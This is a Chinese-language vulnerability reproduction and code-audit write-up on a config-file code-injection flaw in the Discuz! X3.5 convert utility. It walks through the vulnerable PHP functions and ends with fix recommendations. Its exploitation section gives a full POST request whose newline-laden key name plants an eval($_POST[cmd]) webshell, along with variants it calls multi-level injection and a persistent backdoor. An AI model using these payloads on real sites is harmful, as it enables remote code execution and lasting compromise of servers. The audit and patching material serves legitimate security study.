Discuz!x——3.5版本漏洞复现&代码审计
字数 1325 2025-08-22 12:22:30
Discuz! X3.5 漏洞复现与代码审计分析
一、漏洞概述
本文详细分析Discuz! X3.5版本中存在的文件写入漏洞,该漏洞位于\utility\convert\目录下的转换工具中,通过精心构造的POST请求可实现任意代码写入,最终可能导致远程代码执行。
二、环境准备
-
下载Discuz! X3.5源码:
- 官方Git仓库:https://gitee.com/Discuz/DiscuzX/attach_files
- 需要下载主程序包和utility工具包
-
搭建测试环境:
- PHP环境(建议5.6-7.4)
- MySQL数据库
- Web服务器(Apache/Nginx)
三、漏洞定位
漏洞核心文件路径:
\Discuz_X3.5_SC_UTF8_20240520\X3.5_utility_20230210\convert\index.php
该文件中存在大量文件包含操作,且$action变量可控,可通过参数控制加载不同的功能文件。
四、代码审计分析
1. 漏洞入口
通过访问/utility/convert/index.php,可以触发转换工具功能。关键参数:
a:控制加载的功能模块source:指定转换源版本submit:提交标志
2. 关键函数分析
save_config_file函数
function save_config_file($filename, $config, $default) {
$config = setdefault($config, $default);
$date = gmdate("Y-m-d H:i:s", time() + 3600 * 8);
$year = date('Y');
$content = <<<EOT
<?php
\$_config = array();
EOT;
$content .= getvars(array('_config' => $config));
$content .= "\r\n// ".str_pad(' THE END ', 50, '-', STR_PAD_BOTH)." //\r\n\r\n?>";
file_put_contents($filename, $content);
}
该函数用于保存配置文件,其中:
$config参数部分可控(来自$newconfig)- 通过
getvars()函数处理配置数组 - 最终使用
file_put_contents()写入文件
setdefault函数
function setdefault($var, $default) {
foreach ($default as $k => $v) {
if(!isset($var[$k])) {
$var[$k] = $default[$k];
} elseif(is_array($v)) {
$var[$k] = setdefault($var[$k], $default[$k]);
}
}
return $var;
}
该函数将用户输入的$newconfig与默认配置config.default.php合并,确保所有必要配置项都存在。
getvars和buildarray函数
function getvars($data, $type = 'VAR') {
$evaluate = '';
foreach($data as $key => $val) {
if(!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $key)) {
continue;
}
if(is_array($val)) {
$evaluate .= buildarray($val, 0, "\${$key}")."\r\n";
} else {
$val = addcslashes($val, '\'\\');
$evaluate .= $type == 'VAR' ? "\
$$
key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";
}
}
return $evaluate;
}
function buildarray($array, $level = 0, $pre = '$_config') {
static $ks;
if($level == 0) {
$ks = array();
$return = '';
}
foreach ($array as $key => $val) {
if(!preg_match("/^[a-zA-Z0-9_\x7f-\xff]+$/", $key)) {
continue;
}
if($level == 0) {
$newline = str_pad(' CONFIG '.strtoupper($key).' ', 50, '-', STR_PAD_BOTH);
$return .= "\r\n// $newline //\r\n";
}
$ks[$level] = $ks[$level - 1]."['$key']";
if(is_array($val)) {
$ks[$level] = $ks[$level - 1]."['$key']";
$return .= buildarray($val, $level + 1, $pre);
} else {
$val = !is_array($val) && (!preg_match("/^\-?[1-9]\d*$/", $val) || strlen($val) > 12) ? "'".addcslashes($val, '\'\\')."'" : $val;
$return .= $pre.$ks[$level - 1]."['$key'] = $val;\r\n";
}
}
return $return;
}
这两个函数负责将配置数组转换为PHP代码:
getvars()处理顶层数组buildarray()递归处理嵌套数组- 关键点:
$key在buildarray()中被用于生成注释分隔符,且未过滤换行符
3. 漏洞触发流程
- 访问
index.php?a=config进入配置页面 - 提交POST请求,包含恶意构造的
newconfig参数 - 通过
submitcheck()验证 - 调用
save_config_file()写入配置文件 - 恶意代码通过
newconfig的键名注入
五、漏洞利用
1. 利用条件
- 能够访问
/utility/convert/index.php - 具有写入权限的目标目录
2. 利用步骤
- 构造恶意POST请求:
POST /utility/convert/index.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]
a=config&source=d7.2_x1.5&submit=yes&newconfig[%0a%0deval($_POST[cmd]);//]=shushu
- 关键参数说明:
a=config:触发配置功能source:指定转换源版本submit=yes:通过提交检查newconfig[恶意键名]=任意值:通过键名注入代码
- 成功写入后,文件内容将包含:
<?php
$_config = array();
// ---------------- CONFIG
eval($_POST[cmd]);// ----------------
$_config['
eval($_POST[cmd]);//'] = 'shushu';
// ----------------------- THE END ----------------------- //
?>
3. 高级利用
- 多级注入:
newconfig[%0a%0d/*][test]=*/eval($_GET[x]);//
- 持久化后门:
newconfig[%0a%0dfunction%20backdoor(){%20eval($_GET[cmd]);%20}//]=1
六、修复建议
- 严格过滤
$key中的特殊字符,特别是换行符 - 对写入内容进行语法检查
- 限制utility目录的访问权限
- 升级到最新版本
七、总结
该漏洞源于对用户输入过滤不严,特别是在处理数组键名时未考虑换行符的影响,导致可通过精心构造的键名注入任意PHP代码。开发人员应特别注意:
- 所有用户输入必须严格过滤
- 文件写入操作要谨慎处理
- 数组键名也需要进行安全过滤